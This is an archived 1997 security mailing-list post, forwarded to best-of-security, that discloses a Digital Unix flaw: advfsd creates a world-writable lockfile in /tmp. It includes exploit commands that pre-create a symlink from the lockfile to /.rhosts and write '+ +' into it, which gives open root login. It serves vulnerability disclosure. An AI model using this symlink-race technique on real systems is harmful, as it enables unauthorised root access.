BoS: (LOWNOISE) Another Digital Unix Security Problem0 (fwd)

From: Andy Walden <andy_at_ns2.mtco.com>
Date: Thu, 27 Nov 1997 09:21:23 -0600 (CST)

Sincerely,
Andy Walden
System Administrator
MTCO Communications
1-800-859-6826

---------- Forwarded message ----------
Date: Tue, 18 Nov 1997 12:17:00 -0500
From: Efrain Torres Mejia <etorres_at_POLLUX.JAVERIANA.EDU.CO>
To: best-of-security_at_cyber.com.au
Subject: BoS: (LOWNOISE) Another Digital Unix Security Problem0
Resent-Date: Thu, 27 Nov 1997 22:30:43 +1100 (EST)
Resent-From: best-of-security_at_cyber.com.au


                         .LoW _ _
                     |\ | _ |(_`|_'
                     | \|(_)|,_)|_.
               ==========================


H0l4. So here it is another bug for Digital

System: OSF1 my.narco-goverment.sucks.co V4.0 464 alpha

Program: fstab - Static information about file systems and swap partitions
         advfsd - Starts the AdvFS graphical user interface daemon

Problemo: It creates a lockfile in tmp with nice permitions :)

   /tmp>ls -la

   (Blah Blah Blah.....)

   -rw-rw-rw- 1 root system 0 Nov xx 15:49 fstab.advfsd.lockfile

What the hell to do with it:

   Before it creates

   ln -s /.rhosts /tmp/fstab.advfsd.lockfile

   from here... cat "+ +" > /tmp/fstab.advfsd.lockfile , etc etc.

if u like to cut:
------------------------- Cut here --------------------

------------------------- and here --------------------

                     The End - El Fin

                      Colombia 1997.

                         .LoW _ _
                     |\ | _ |(_`|_'
                     | \|(_)|,_)|_.

                   Efrain 'ET' Torres
Received on Thu Nov 27 1997 - 16:46:40 NZDT

This archive was generated by hypermail 2.4.0 : Wed Nov 08 2023 - 11:53:37 NZDT